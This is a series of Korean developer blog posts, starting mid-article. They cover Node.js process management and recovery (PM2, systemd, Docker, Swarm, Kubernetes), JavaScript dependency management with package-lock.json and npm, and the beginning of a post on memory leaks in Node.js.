혹은 `Supervisor`를 동일한 방식으로 사용할 수도 있다.

```bash
supervisor index.js
```

두 서비스 보두 인기만큼이나 유용하다. 두 개의 차이점은, `nodemon`은 코드(파일)이 변경되면 재시작 되는 반면, `supervisor`는 에러가 발생할 때 다시 시작한다는 것이다.

개발 환경에서의 문제는 해결이 쉽다. 그러나 프로덕션 환경의 문제는 다르다. 프로덕션 서버에 내보내기 시작하면 대학을 보낸 부모마냥 안절부절해진다. 여기에서 사용하는 것이 프로세스 관리자다.

## 프로세스 관리

앱을 실행하게 되면, 프로세스가 생성된다.

개발환경에서는, 터미널 윈도우를 열고 코맨드를 실행한다. foreground proccess가 만들어 진것이며, 앱이 실행된다.

그러나 터미널 윈도우를 닫는다면, 앱 또한 종료된다. 또한 터미널 윈도우는 더 이상 추가적인 작업을 할 수 없는 상태가 된다. `Ctrl+c`로 끄지 않는 이상, 터미널은 사용할 수 없게 된다.앱 실행이 터미널 윈도우와 강하게 연결되어 있기 때문에, 로그와 에러 또한 볼 수 있다. 그러나 프로덕션 서버에서는 앱을 백그라운드에서 실행해야 하기 때문에 이러한 장점을 잃게 된다.

이 때 등장하는 것이 프로세스 관리자다.

### PM2

nodejs에서 가장 널리 쓰이는 프로세스 관리자는 [PM2](https://github.com/Unitech/pm2)다. `PM2`를 설치하고 아래 명령어로 실행하면 된다.

```bash
pm2 start index.js
```

```bash
===============================================================================
--- PM2 development mode ------------------------------------------------------
Apps started         : src
Processes started    : 1
Watch and Restart    : Enabled
Ignored folder       : node_modules
===============================================================================
```

실행하게 되면, 무언가 다른점을 눈치챌 수 있을 것이다. 마치 아무것도 일어나지 않는 것처럼 보이지만, 앱의 엔드포인트로 가면 앱이 실행중인 것을 알 수 있다. `PM2`는 앞서 언급된 것처럼, 앱을 백그라운드에서 실행하게 해준다. 또한 `--watch` 명령어로 pm2가 파일을 감시하고 재시작하는 것을 볼 수도 있다.

```bash
pm2 start index.js --watch
```

그럼에도 여전히 가시성이 조금은 부족하다. 서버로그를 보기 위해서는, 아래와 같은 명령어를 쓰면 된다.

https://blog.appsignal.com/2020/09/09/nodejs-resiliency-concepts-recovery-and-self-healing.html

| command           | Description                                                                                                           |
| ----------------- | --------------------------------------------------------------------------------------------------------------------- |
| `pm2 list`        | 앱의 목록을 보여준다. pm2에서 관리하고 있는 애플리케이션의 ID를 볼 수 있다. 이 아이디로 아래 명령어를 실행할 수 있다. |
| `pm2 logs <id>`   | 앱의 로그를 확인한다.                                                                                                 |
| `pm2 stop <id>`   | 프로세스를 중단한다. 단순히 중단만 되는 것이므로, 프로세스까지 제거하기 위해서는 `delete` 를 사용해야 한다.           |
| `pm2 delete <id>` | 프로세스를 지운다. 지우게 되면 `stop` 도 이루어진다.                                                                  |

`pm2` 는 설정하기 용이하며, 로드밸런싱도 수행할 수 있고, hot reload도 가능하다.

`pm2`는 놀랍도록 편리하지만, 몇가지더 살펴볼 것이 존재한다.

## Systemd

만약 Linux VM에서 앱을 실행하려고 계획중이라면, 컨테이너와 오케스트레이터 개념을 깊게 들어가기이전에 `systemd`를 언급할 필요가 있다. (그러나 Azure, AWS Lambda, GCP App Engine 등에서 실행하려고 준비중이라면 그다지 필요가 없다.)

`systemd`는 프로세스를 시작, 중지, 재시작을 할수가 있다. VM이 재시작 된다면, `systemd`는 앱이 다시 시작하게끔 도와준다.

`systemd`는 다음 시스템에서 사용가능하다.

- Ubuntu Xenial 또는 그 이상
- Centos 7 / RHGEL 7
- Debian Jessie 또는 그 이상
- Fedora 15 또는 그 이상

추가로 확인해야 할 것은 해당 유저가 `sudo`권한이 있어야 한다는 것이다.

이제부터 예제는 `Ubuntu`를 사용하고 있고, 홈 디렉토리는 `/home/user/`라고 가정하며,`index.js`는 이 홈 디렉토리에 있다고 가정한다.

### systemd 서비스 파일

`systemd` 파일은 서비스에 대한 설정을 보관할 수 있는 시스템영역을 만드는데 도움을 주는 파일이다. 먼저 한번 설정해보자.

`systemd` 파일은 아래 디렉토리에 존재한다.

```bash
/lib/systemd/system
```

```bash
cd /lib/systemd/system
```

```bash
sudo nano myapp.service
```

그리고 이 파일을 만들어보자.

```bash
# /lib/systemd/system/myapp.service

[Unit]
Description=My awesome server
Documentation=https://awesomeserver.com
After=network.target

[Service]
Environment=NODE_PORT=3000
Environment=NODE_ENV=production
Type=simple
User=user
ExecStart=/usr/bin/node /home/user/index.js
Restart=on-failure

[Install]
WantedBy=multi-user.target
```

몇가지 설정들은 꽤 분명하게 되어 있지만, `After` `Type`에 대해서만 알아보자.

`After=network.target`은 포트가 필요하기 때문에, 서버의 네트워킹이 가동되고 실행될 때 까지 기다려야 한다는 것을 의미한다. `Type`은 단순히 미친짓 하지말고 실행하라는 것을 의미한다.

### systemctl로 앱 실행하기

파일을 생성했으니, `systemd`에게 새롭게 변경된 파일을 이용하라고 알려줄 때다. 이 파일에 변화가 있으면, 아래 명령어를 계속 실행해야 한다.

```bash
sudo systemctl daemon-reload
```

이제 `systemctl` 명령을 사용하여 서비스를 시작하고 중지할 수 있어야 한다.

```bash
sudo systemctl start myapp
```

멈추고 싶다면 `stop`을, 재시작하고 싶다면 `restart`를 쓰면 된다.

이제 제일 중요한 부분이다. VM이 실행될 때 애플리케이션이 자동으로 시작되게 하고 싶다면, 아래 명령어를 입력하면 된다.

```bash
sudo systemctl enable myapp
```

작동중지는 `disable`을 쓰면 된다.

이게 전부다. 이제 Node.js가 아닌 프로세스를 관리를 하는 다른 시스템이 생겼다.

하지만 아마도 🤔 요즘 이렇게 리눅스 VM에 직접 서비스를 올려서 굴리는 시스템은 별로 없을 것이다......... 컨테이너로 넘어갈 차례다.

## 컨테이너란 무엇인가

Mesos, CoreOS, LXC, OpenVZ 등 다양한 컨테이너 런타임 환경이 존재하지만, 아마도 가장 유명한 것, 그리고 컨테이너의 진정한 동의어로 취급받는 것은 Docker다. 현재 컨테이너로 굴러가는 시스템의 80%가 Docker로 이루어져 있고, 사람들이 컨테이너를 이야기 하면 아마두 열에 아홉은 도커를 이야기 하고 있다고 봐도 무방하다.

컨테이너가 하는 일은 정확히 무엇인가? 컨테이넌 말그대로 컨테이너다. 그리고 이 컨테이너에는 무엇을 보관하고 있을까?

컨테이너에는 응용프로그램과 그에 필요한 모든 종속성이 포함되어 있다. 단순히 그것 뿐이다. 그렇다면 Nodejs 서버가 가지고 있어야 할 것이 있는지 생각해보자. Nodejs, index.js파일, 그리도 npm 패키지 종속성들이 필요할 것이다. 따라서 컨테이너를 만든다면, 이것이 존재하며 제대로 담겨있는지 확인하고 싶을 것이다. 그리고 컨테이너가 준비되어 있다면, 컨테이너를 컨테이너 엔진(도커)를 이용해 실행 시킬 수 있다.

### Container vs VM

Docker의 마법은 동일한 기반의 물리적 시스템과 운영체제를 사용하여 서로 충돌하지 않고, 다양한 형태의, 다양한 애플리케이션을 원활하게 실행할 수 있다는 것이다.

### 도커 컨테이너 만들기

도커 컨테이너를 만드는 것은 정말로 쉽다. 로컬 머신에 Docker를 먼저 설치하면 된다. Docker는 어떤 운영체제에서든 설치가 가능하지만, 프로덕션 머신에는 Linux 환경에서 설치하기를 권한다.

도커는 `Dockerfile`이라고 불리우는 파일을 참조하며, 도커 이미지라고 불리우는 컨테이너의 레시피를 만드는데 사용할 것이다. 따라서 컨테이너를 만들기 전에 이 파일을 생성해야 한다. `index.js`와 동일한 위치에 생성하면 된다.

```Dockerfile
# Dockerfile

# Base image (we need Node)
FROM node:12

# Work directory
WORKDIR /usr/myapp

# Install dependencies
COPY ./package*.json ./

RUN npm install

# Copy app source code
COPY ./ ./

# Set environment variables you need (if you need any)
ENV NODE_ENV='production'
ENV PORT=3000

# Expose the port 3000 on the container so we can access it
EXPOSE 3000

# Specify your start command, divided by commas
CMD [ "node", "index.js" ]
```

`.dockerignore`를 사용하면 `node_modules`와 같이 복사를 원치 않는 파일목록을 명시할 수 있다. `.gitignore`와 정확히 똑같이 동작한다.

```Dockerfile
# .dockerignore

node_modules
npm-debug.log
```

이제 설정이 완료되었고, Docker Image를 만들 차례다.

이미지는 컨테이너를 만드는 일종의 레시피다. 또는 소프트웨어를 인스톨을 하기 위한 플로피 디스크/씨디롬과 같은 존재로도 볼 수 있다. 이는 실제 작동하는 소프트웨어가 아니지만, 패키징된 소프트웨어 데이터를 포함하고 있다고 보면 된다.

```bash
docker build -t myapp .
```

이미지가 준비되어있다면, 이미지 목록에서 확인할 수 있다.

```bash
docker image ls
```

그리고 실행은 아래와 같이 하면 된다.

```bash
docker run -p 3000:3000 myapp
```

컨테이너에서 시작하는 서버를 볼 수 있고, 그 과정에서 로그도 확인할 수 있다. 백그라운드에서 실행시키기 위해서는 `-d` 플래그를 사용하면 된다. 또한 컨테이너를 백그라운드에서 실행중인 경우, 아래 명령어를 활용하여 컨테이너 목록을 확인할 수 있다.

```bash
docker container ls
```

이제 컨테이너에 대한 이해는 마쳤으므로, 원래 글의 주제인 복구와 매우 밀접한 오케스트레이션에 대해 알아보자.

## Orchestration

이상적으로 생각해봤을때, 레고블록과 같은 인프라는 개별적으로 관리하는 것은 굉장히 손이 많이 가기 때문에 어렵다. 앞서 이야기한 프로세스 관리자 처럼, 다른 존재가 이러한 관리를 대신 해주는 것이 좋을 것이다. 여기에서 오케스트레이터가 활약한다.

오케스트레이터는 컨에테이너를 관리하고 스케줄링 할 수 있도록 도와주며, 여러 위치에 분산되어 흩어져있는 VM (컨테이너 호스트)에 걸쳐서 이러한 작업을 할 수 있도록 해준다.

여기에서 우리가 특히 관심을 가져야 하는 것은 `Replication`이다.

### Replication과 높은 가용성

크래시가 발생했을 때 서버가 재기동하는 것은 좋은일이다. 그러나 재기동 중에는 어떤 일이 생기는가? 사용자들이 서비스가 다시 시작 되길 기다려야 하는가? 우리의 목표는 서비스를 고 가용성으로 만드는 것인데, 이는 사용자들이 서버에서 크래시가 있어도 앱을 사용할 수 있어야 함을 의미한다. 어떻게 하면 가능할까?

답은 간단하다. 서버의 복사본을 만들어두고, 동시에 실행하는 것이다.

처음에 이를 설정하는 것은 골치 아프지만, 다행히도 이 매커니즘을 가능하게 하는 모든 것을 가지고 있다. 일단 앱이 컨테이너화가 되어 있으면, 원하는 만큼의 복사본을 실행할 수 있는데 이를 Replica라고 한다.

이제 컨테이너 오케스트레이션 엔진을 활용하여, 어떻게 이를 설정할지를 알아보자. 여러가지 방법이 있지만, 도커 오케스트레이션 엔진과 가장 쉽게 할 수 있는 방법은 Docker Swarm이다.

### swarm 내의 replication

머신에 Docker가 설치 되어있다면, docker swarm은 비교적 간단하게 시작할 수 있다.

```bash
docker swarm init
```

이 명령어로 Docker swarm을 사용할 수 있으며, 다른 VM을 스웜에 연결하여 분산 클러스터를 구성할 수 있다. 이번 예제에서는, 단순히 하나의 머신만 사용할 것이다.

스웜이 활성화 되어 있으면, 서비스라 불리우는 컴포넌트에 접근할 수 있게 된다. 이는 일종의 마이크로 서비스 아키텍쳐의 빵과 버터인데, replica를 만들기 쉽게 해준다.

이제 서비스를 만들어 보자.

```bash
docker service create --name myawesomeservice --replicas 3 myapp
```

위 명령어는 `myawesomeservice`라 불리우는 서비스를 만들어주며, `myapp`이라고 하는 이미지를 활용하여 3개의 동일한 컨테이너를 만들게 된다.

```bash
docker service ls
```

이제 서버가 복제되어 실행되며, 컨테이너가 크래쉬가 되도 재시작 되며, 프로세스 전체에 결쳐 온전한 컨테이너 엑세스를 제공할 수 있다. 서비스 replica의 수를 조정하기 위해서는 아래 명령어를 활용하면 된다.

```bash
docker service scale <name_of_service>=<number_of_replicas>
```

```bash
docker service scale myapp=5
```

이제 원하는 만큼 복제본을 만들어 실행시킬 수 있다.

### 쿠버네틱스에서의 replication

오케스트레이션을 논하는데 쿠버네틱스를 빼먹으면 섭섭하다. 컨테이너하면 도커 듯이, 오케스트레이션하면 쿠버네틱스다.

개인적인 의견으로는, 도커의 스웜보다 쿠버네틱스가 더 학습하기 어렵다. 따라서 이제 막 컨테이너를 시작했다면, 도커 스웜을 먼저 해보는 것이 좋다. 그렇긴하더라도, 쿠버네틱스 세계가 어떻게 작동하는지 이해하는 것도 나쁘지 않다.

- https://minikube.sigs.k8s.io/docs/start/
- https://labs.play-with-k8s.com/

이 예제에서는 두개의 yaml파일을 만들어 설정을 진행한다. 하나는 A 클러스터 IP 인데, 이는 앱과 통신할 수 있는 포트를 연다. 또다른 하나는 도커 스웜과 같은 서비스이다.

`cluster-ip.yml`

```yaml
# cluster-ip.yml

apiVersion: v1
kind: Service
metadata:
  name: cluster-ip-service
spec:
  type: ClusterIP
  selector:
    component: server
  ports:
    - port: 3000
      targetPort: 3000
```

`development.yml`

```yaml
# deployment.yml

apiVersion: apps/v1
kind: Deployment
metadata:
  name: server-deployment
spec:
  replicas: 3
  selector:
    matchLabels:
      component: server
  template:
    metadata:
      labels:
        component: server
    spec:
      containers:
        - name: server
          image: your_docker_user/your_image
          ports:
            - containerPort: 3000
```

`your_docker_user/your_image`를 실제 도커 유저와 이미지로 교체하고, 도커 레포에 해당 이미지가 호스팅 되고 있는지 확인해야 한다.

이제 아래 명령어를 실행해보자.

```bash
kubectl apply -f .
```

이제 서비스가 실행되고 있는지, 아래 명령어로 확인해볼 수 있다.

```bash
kubectl get deployments
kubectl get services
```

모든 것이 정상적으로 되고 있다면, `cluster-ip-service`에서 보여주는 IP와 포트를 복사하여 브라우저에 붙여넣기 한다면, 애플리케이션에 접속할 수 있을 것이다.

생성된 복제본을 보고 싶다면, 아래 명령어를 활용하면 된다.

```bash
kubectl get pods
```

나열된 pod는 `deployment.yaml`에 지정한 replica의 수와 일치해야 한다. 모든 컴포넌트를 정리하기 위해서는, 아래 명령어를 사용하면 된다.

```bash
kubectl delete -f .
```

## 결론

이제 우리는 고 가용성의 복구 가능한 애플리케이션을 가지고 있다. 물론, 이게 다가 아니다.

실제로 애플리케이션이 고장이 나지 않는데, 어떤 문제가 있는지 어떻게 알까?

로그를 확인해야할까? 만약 엔드포인트를 확인할 때마다 앱이 작동한다면, 아마도 일년에 한두번 정도만 로그를 볼 것이다. 따라서 앱이 개선되고 있는지 확인하기 위해서는 모니터링, 오류처리 및 오류 전파에 대해서 생각해볼 필요가 있다. 문제가 발생할 때마다 인지하고, 서버를 다운시키지 않더라도 문제를 해결할 수 있도록 해봐야 한다.

출처: https://blog.appsignal.com/2020/09/09/nodejs-resiliency-concepts-recovery-and-self-healing.html

---

Source: https://yceffort.kr/2020/11/javascript-dependency-hell.md
Title: 자바스크립트 의존성 지옥
Description: package-lock.json은 정말 복잡 😈
Date: 2020-11-20
Tags: javascript, npm, dependency-management

모든 자바스크립트 프로젝트들은 시작할 때만 하더라도 많은 NPM 패키지를 의존성으로 갖지 않으려고 노력한다. 이런 노력에도 불구하고, 결국 몇몇 패키지를 사용하기 시작한다. `package.json`에 한줄 한줄이 추가될 수록, PR에서 보이는 `package-lock.json`의 추가/삭제 라인 수는 끔찍해진다.

물론 이렇한 과정이 팀리더나 동료들의 반대에 부딪히지는 않는다. 자바스크립트 생태계가 살아있고 계속해서 번창한다는 것은 굉장한 행운이다. 매번 바퀴를 새롭게 발명하거나, 오픈소스 커뮤니티가 해결한 문제를 또 해결하려고 시도해서는 안된다.

블로그를 만들기 위해 gatsby를 쓴다고 가정해보자. 이를 설치하고 dependency에 추가해보자. 이제 1800개의 추가 dependency를 추가했다. 이는 정말 괜찮은 걸까? 자바스크립트의 dependency 트리는 얼마나더 복잡해질 수 있을까? 어떻게 의존성 지옥이 만들어지는 걸까?

## 자바스크립트 패키지

NPM (Node Package Manager)는 세계에서 가장 큰 자바스크립트 패키지 레지스트리르르 보유하고 있다. 이는 RubyGems, PyPi, Maven을 합친 것보다 크다.

![Module Count](./images/module-counts.png)

출처: http://www.modulecounts.com/

정말 많다. 이러한 npm 패키지를 사용하기 위해서는, 프로젝트에 `package.json`을 추가해야 한다.

## package.json

`package.json`은 무엇인가?

- 프로젝트가 의존하고 있는 패키지의 목록
- 시멘틱 버전에 따라서 프로젝트가 의존하고 있는 패키지의 특정버전을 구체적으로 나열
- 빌드를 언제든 다시 만들 수 있게 하여 다른 개발자들이 공유를 쉽게 함

패키지가 다른 패키지에 의존한다고 상상한다면, 왜 `gatsby`가 1.9만개의 추가 종속성을 갖게 되는지 알 수 있을 것이다.

## package.json의 종속성 타입

종속성이 어떻게 누적되는지 이해하기 위해서는, 프로젝트가 가질 수 있는 다양한 종속성 타입을 이해해야 한다.

- `dependencies`: 프로젝트의 코드를 호출하는데 있어 필수적으로 의존하고 있는 종속성
- `devDependencies`: 개발단계에서 필요한 종속성. `prettier`와 같은 코드를 이쁘게 하는 라이브러리 등
- `peerDependencies`: `package.json`에 `peerDependencies`를 설정해둔다면, 패키지를 설치하는 다른 사람들에게 여기에 지정된 버전에 대한 종속성이 필요하다고 말하는 것이다.
- `optionalDependencies`: 옵션 성격의 종속성으로, 이 종속성을 설치 하는데 실패한다 하더라도 설치 과정에 문제가 되지는 않는다.
- `bundleDependencies`: 패키지를 번들링 하는데 같이 들어가게 되는 의존성. NPM에 있지 않은 제3의 라이브러리나, 일부 프로젝트 모듈로 포함하려는 경우 유용하다.

## package-lock.json의 목적

`package-lock.json`은 자동으로 `package.json`이나 `node_modules` 디렉토리가 변할 때 마다 자동으로 생성된다. 이는 설치로 만들어진 정확히 똑같은 의존성 트리를 보관하고 있으며, 후속 설치에도 동일한 트리를 생성할 수 있도록 한다. 이는 나와 다른 사용자가 다른 의존성 트리를 만드는 것을 막는다.

`package.json`에 `react`를 설치한다고 가정해보자. `package-lock.json`에는 이렇게 나와있을 것이다.

```json
{
  "react": {
    "version": "17.0.1",
    "resolved": "https://registry.npmjs.org/react/-/react-17.0.1.tgz",
    "integrity": "sha512-lG9c9UuMHdcAexXtigOZLX8exLWkW0Ku29qPRU8uhF2R9BN96dLCt0psvzPLlHc5OWkgymP3qwTRgbnw5BKx3w==",
    "requires": {
      "loose-envify": "^1.1.0",
      "object-assign": "^4.1.1"
    }
  }
}
```

`package-lock.json`은 프로젝트의 거대한 종속성 목록을 가지고 있다. 여기에는 버전, module의 위치 (URI), 정합성을 위한 해싱값과 패키지가 요구하는 모듈들이 나와있다.

## Gatsby.js의 의존성 살펴보지.

Gatsby는 왜 1800개의 의존성을 갖게 되는 것일까? 답은 의존성의 의존성이다.

```bash
$ npm install --save gatsby

...

+ gatsby@2.27.0
added 1889 packages from 1011 contributors and audited 1889 packages in 51.894s
```

`package.json` 에는 의존성이 딱 하나만 존재하지만,

```json
{
  "name": "test",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "gatsby": "^2.27.0"
  }
}
```

`package-lock.json`에는 이제 만 오천줄이 넘는 종속성이 명시되어있다. 이 문제의 원인은 [gatsby의 package.json](https://github.com/gatsbyjs/gatsby/blob/347be6f6fbaa2f9b2e252e6f329ce7fe96f6f2b2/packages/gatsby/package.json#L12-L162)에 있다.

```bash
test@1.0.0 /Users/yceffort/private/test
└─┬ gatsby@2.27.0
  ├─┬ @babel/core@7.12.3
  │ ├─┬ @babel/helper-module-transforms@7.12.1
  │ │ └── lodash@4.17.20  deduped
  │ └── lodash@4.17.20  deduped
  ├─┬ @babel/traverse@7.12.5
  │ └── lodash@4.17.20  deduped
  ├─┬ @babel/types@7.12.6
  │ └── lodash@4.17.20  deduped
  ├─┬ @typescript-eslint/parser@2.34.0
  │ └─┬ @typescript-eslint/typescript-estree@2.34.0
  │   └── lodash@4.17.20  deduped
  ├─┬ babel-plugin-lodash@3.3.4
  │ └── lodash@4.17.20  deduped
  ├─┬ babel-preset-gatsby@0.7.0
  │ └─┬ @babel/preset-env@7.12.1
  │   ├─┬ @babel/plugin-transform-classes@7.12.1
  │   │ └─┬ @babel/helper-define-map@7.10.5
  │   │   └── lodash@4.17.20  deduped
  │   └─┬ @babel/plugin-transform-sticky-regex@7.12.1
  │     └─┬ @babel/helper-regex@7.10.5
  │       └── lodash@4.17.20  deduped
  ├─┬ css-loader@1.0.1
  │ └── lodash@4.17.20  deduped
  ├─┬ devcert@1.1.3
  │ └── lodash@4.17.20  deduped
  ├─┬ eslint@6.8.0
  │ ├─┬ inquirer@7.3.3
  │ │ └── lodash@4.17.20  deduped
  │ ├── lodash@4.17.20  deduped
  │ └─┬ table@5.4.6
  │   └── lodash@4.17.20  deduped
  ├─┬ eslint-plugin-flowtype@3.13.0
  │ └── lodash@4.17.20  deduped
  ├─┬ gatsby-cli@2.14.0
  │ ├─┬ gatsby-recipes@0.4.0
  │ │ ├─┬ contentful-management@5.28.0
  │ │ │ ├─┬ contentful-sdk-core@6.4.6
  │ │ │ │ └── lodash@4.17.20  deduped
  │ │ │ └── lodash@4.17.20  deduped
  │ │ ├── lodash@4.17.20  deduped
  │ │ └─┬ remark-mdxjs@2.0.0-next.8
  │ │   └─┬ @babel/core@7.10.5
  │ │     └── lodash@4.17.20  deduped
  │ ├── lodash@4.17.20  deduped
  │ └─┬ pretty-error@2.1.2
  │   ├── lodash@4.17.20  deduped
  │   └─┬ renderkid@2.0.4
  │     └── lodash@4.17.20  deduped
  ├─┬ gatsby-plugin-page-creator@2.5.0
  │ ├─┬ gatsby-page-utils@0.4.0
  │ │ └── lodash@4.17.20  deduped
  │ └── lodash@4.17.20  deduped
  ├─┬ gatsby-telemetry@1.5.0
  │ └── lodash@4.17.20  deduped
  ├── lodash@4.17.20
  ├─┬ optimize-css-assets-webpack-plugin@5.0.4
  │ └─┬ last-call-webpack-plugin@3.0.0
  │   └── lodash@4.17.20  deduped
  ├─┬ react-dev-utils@4.2.3
  │ └─┬ inquirer@3.3.0
  │   └── lodash@4.17.20  deduped
  ├─┬ webpack-dev-server@3.11.0
  │ ├─┬ http-proxy-middleware@0.19.1
  │ │ └── lodash@4.17.20  deduped
  │ └─┬ portfinder@1.0.28
  │   └─┬ async@2.6.3
  │     └── lodash@4.17.20  deduped
  └─┬ webpack-merge@4.2.2
    └── lodash@4.17.20  deduped
```

gatsby의 lodash 의존을 살펴보면, 모두 같은 버전의 lodash를 사용하고 있기 때문에, `node_modules` 에는 하나의 `lodash` 만 설치해도 된다는 것을 알 수 있다. 그렇지만 만약 다른 버전에 각각 의존하고 있다면 해당 버전을 모두 설치해야 되므로 사이즈가 커지게 된다.

```bash
» du -sh node_modules
348M  node_modules
```

300메가 정도면 괜찮은 편이다. 만약 `node_modules`에서 무엇이 비중을 많이 차지 하는지 살펴보고 싶다면 아래 명령어를 실행하면 된다.

```bash
» du -sh ./node_modules/* | sort -nr | grep '\dM.*'
 30M  ./node_modules/@graphql-tools
 20M  ./node_modules/date-fns
 17M  ./node_modules/rxjs
 14M  ./node_modules/gatsby
 14M  ./node_modules/@babel
8.7M  ./node_modules/prettier
8.4M  ./node_modules/babel-runtime
8.3M  ./node_modules/gatsby-recipes
6.9M  ./node_modules/core-js
6.8M  ./node_modules/core-js-pure
5.5M  ./node_modules/eslint
5.1M  ./node_modules/moment
5.1M  ./node_modules/@types
4.9M  ./node_modules/webpack
4.8M  ./node_modules/lodash
...
```

(저놈의 graphql...)

`node_modules`의 사이즈를 줄이고, 종속성을 평평하게 만드는 명령어는 `npm dedup`이다. 중복된 종속성을 정리하는데 도움을 준다.

```bash
» npm dedup
audited 1889 packages in 3.36s

134 packages are looking for funding
  run `npm fund` for details

found 0 vulnerabilities
```

[Deduplication](https://docs.npmjs.com/cli/dedupe)은 종속성 사이의 공통 패키지를 찾고, 이러한 패키지가 재사용될 수 있도록 하여 종속성 트리 구조를 단순화 시키는 작업이다.

## 의존성 한눈에 보기

https://npm.anvaka.com/#/view/2d/eslint-config-yceffort

![npm-anvaka](./images/npm-anvaka.png)

http://npm.broofa.com/?q=eslint-config-yceffort

![npm-broofa](./images/npm-broofa.png)

https://packagephobia.com/result?p=eslint-config-yceffort@0.0.5

![npm-phobia](./images/npm-phobia.png)

## npm install, ci

`npm install`이 이따금씩 `package-lock.json`을 업데이트 하는 이유는, `package.json`에 정확하게 지정된 버전이 아닌 시멘틱 버전으로 작성되어 있기 때문이다. 예를 들어 `^1.1.0`으로 설치된 패키지가 있고, 시간이 흘러 `1.1.9`버전이 나온다면 `package-lock.json`은 기존 버전에서 `^1.1.9`로 설치하려 할것이다.

https://github.com/npm/npm/issues/18103

이를 막기 위한 명령어가 `npm ci`다. `package.json`이 아닌 `package-lock.json`에 명시된 버전 그 자체로 `package-lock.json`의 변경이 없이 설치를 수행한다. 많은 프로젝트에서 놓치는 것 중 하나가, 빌드나 배포단계에서 `npm ci`대신 `npm install`을 쓰는 것이다. 이는 개발단계에서는 몰랐던 얘기치 않은 에러를 낳을 수 있다.

https://blog.npmjs.org/post/621733939456933888/npm-v7-series-why-keep-package-lockjson

항상 감사하십시오, javascript developers.

---

Source: https://yceffort.kr/2020/11/nodejs-best-pratices-for-performance.md
Title: Nodejs 성능 최적화를 위한 방법
Description: 성능은 좋을 수록 좋다 그것이 성능이니까
Date: 2020-11-19
Tags: nodejs, web-performance

## Table of Contents

## 자바스크립트의 메모리 관리

Nodejs의 메모리 누수를 이해하기 위해서는, nodejs의 메모리 관리에 대해서 이해하고 있어야 한다. nodejs는 자바스크립트의 V8엔진을 사용하고 있다. 이에 대해 이해하기 위해서는, 아래 포스트를 먼저 참고할 필요가 있다.

- https://dev.to/deepu105/visualizing-memory-management-in-v8-engine-javascript-nodejs-deno-webassembly-105p
- https://yceffort.kr/2020/11/v8-memory-management

메모리는 크게 스택과 힙메모리로 구별할 수 있다.

- Stack: 메소드, 함수 프레임, 원시값, 객체의 포인터등 정적인 데이터가 저장되는 곳
- Heap: 객체 또는 다이나믹 데이터 등이 저장되는 곳. 메모리 블록중 가장 큰 영역이며, GC가 작업을 하는 곳

> V8은 가비지 콜렉션을 이용해서 힙 메모리를 관리한다. 간단히 얘기해, 스택에서 더 이상 참조하지 않는 객체의 메모리를 해제하여 다른 객체가 메모리를 할당하여 쓸 수 있도록 한다. V8의 가비지 컬렉터는 더 이상 사용하지 않는 메모리를 해제하여 공간을 확보하는 책임이 있다. V8 가비지 컬렉터는 객체를 생성시점으로 묶어서 각각 다른 스테이지별로 별도로 관리한다. V8 가비지 컬렉터는 2개의 다른 스테이지와 세개의 다른 알고리즘을 사용한다.

![V8 Garbage Collector](https://d33wubrfki0l68.cloudfront.net/e3979bee7b7b51e6124594ea36dfde4eb7015da5/5c860/images/blog/2020-05/mark-sweep-compact.gif)

## 메모리 누수란 무엇인가

간단히 말해 메모리 누수랑, 애플리케이션에서 더 이상 사용하지 않는 메모리가 힙에서 계속 남아 있고, 그래서 이를 가비지 컬렉터가 OS로 메모리로 반환하지 못하는 상황을 의미한다. 이는 메모리에서 쓸모없는 블록으로 존재하게 된다. 이러한 블록이 계속해서 생기게 되면 애플리케이션에서는 더 이상 사용할 메모리가 존재하지 않게 되고, 나아가 OS 또한 할당할 메모리가 남아나지 않아서 애플리케이션이 느려지고 크래쉬되거나, 혹은 OS 단에서 문제가 발생할 수 있다.

## 자바스크립트에서는 무엇이 메모리 누수를 발생시키는가?

V8의 가비지 콜렉터와 같은 자동 메모리 관리는 메모리 누수를 피하는데 초점이 맞춰져있다. 예를 들어 순환 참조는 가비지 콜렉터의 고려대상이 아니지만, 힙의 원치 않는 참조로 인해 문제가 발생할 수 있다. 일반적인 메모리 누수의 상황은 아래와 같다.

- 전역변수: 자바스크립트의 전역 변수는 루트 노드를 참조하기 때문에 (`window`, `global`) 애플리케이션의 생명주기 동안 절대로 가비지 콜렉팅이 되지 않아 계속해서 메모리를 점유하고 있게 된다. 따라서 글로벌 변수를 참조 하고 있는 객체 또한 가비지 콜렉팅의 대상이 되지 않는다는 것을 의미한다. 루트로부터 커다란 객체 참조 그래프를 가지고 있다는 것은 결국 메모리 누수로 이어지게 된다.
- 동시참조: 하나의 동일한 객체가 다양한 객체에서 참조될 때, 이 중 하나의 참조가 잘못된다면 전체 객체에서 메모리 누수가 발생할 수 있다.
- 클로져: 자바스크립트의 클로져는 코드를 둘러싼 콘텍스트를 기억한다는 점에서 멋진 기능이다. 클로져가 힙의 큰객체의 클로져를 참조하고 있다면, 클로져가 사용될 때 까지 그 객체는 메모리에 남아 있게 된다. 이는 메모리 누수의 원인으로 이어질 수 있다.
- 타이머 & 이벤트: `setTimeout` `setInterval` `Observer` 이벤트 리스너 등의 콜백이 적절한 조치 없이 무거운 객체의 참조를 가지고 있을 경우 메모리 누수가 발생할 수 있다.

## 메모리 누수를 피하는 방법

### 전역 변수의 사용을 줄인다.

전역 변수는 절대로 가비지 컬렉팅 되지 않으므로, 전역변수를 남용하지 않는 것이 제일 좋다.

#### 실수로 전역변수를 선언하는 것을 주의하자.

만약 undeclare한 변수를 선언하게 되면, 자동으로 자바스크립트는 이를 호이스팅해서 전역 변수로 만들어 버린다. 이는 곧 메모리 누수로 이어지게 된다.

```javascript
function hello() {
  // 전역변수로 호이스팅 된다.
  foo = 'Message'
}

function hello() {
  // 여기서 this는 global 이기 때문에 마찬가지로 호이스팅되어 전역변수가 된다.
  this.foo = 'Message'
}
```

이러한 원치 않는 사고를 방지 하기 위해서는, 자바스크립트 파일 상단에 `'use strict';`를 선언해 두면된다. 엄격한 모드에서는, 위의 코드는 에러를 발생시킨다. 만약 ES 모듈이나 타입스크립트 또는 바벨과 같은 프랜스파일러를 사용한다면, 굳이 하지 않아도 된다. 최근 버전의 Nodejs에서는, `--use_strict` 옵션으로 nodejs 환경 전역에 이 모드를 활성화 시킬 수 있다.

```javascript
'use strict'

// This will not be hoisted as global variable
function hello() {
  foo = 'Message' // will throw runtime error
}

// This will not become global variable as global functions
// have their own `this` in strict mode
function hello() {
  this.foo = 'Message'
}
```

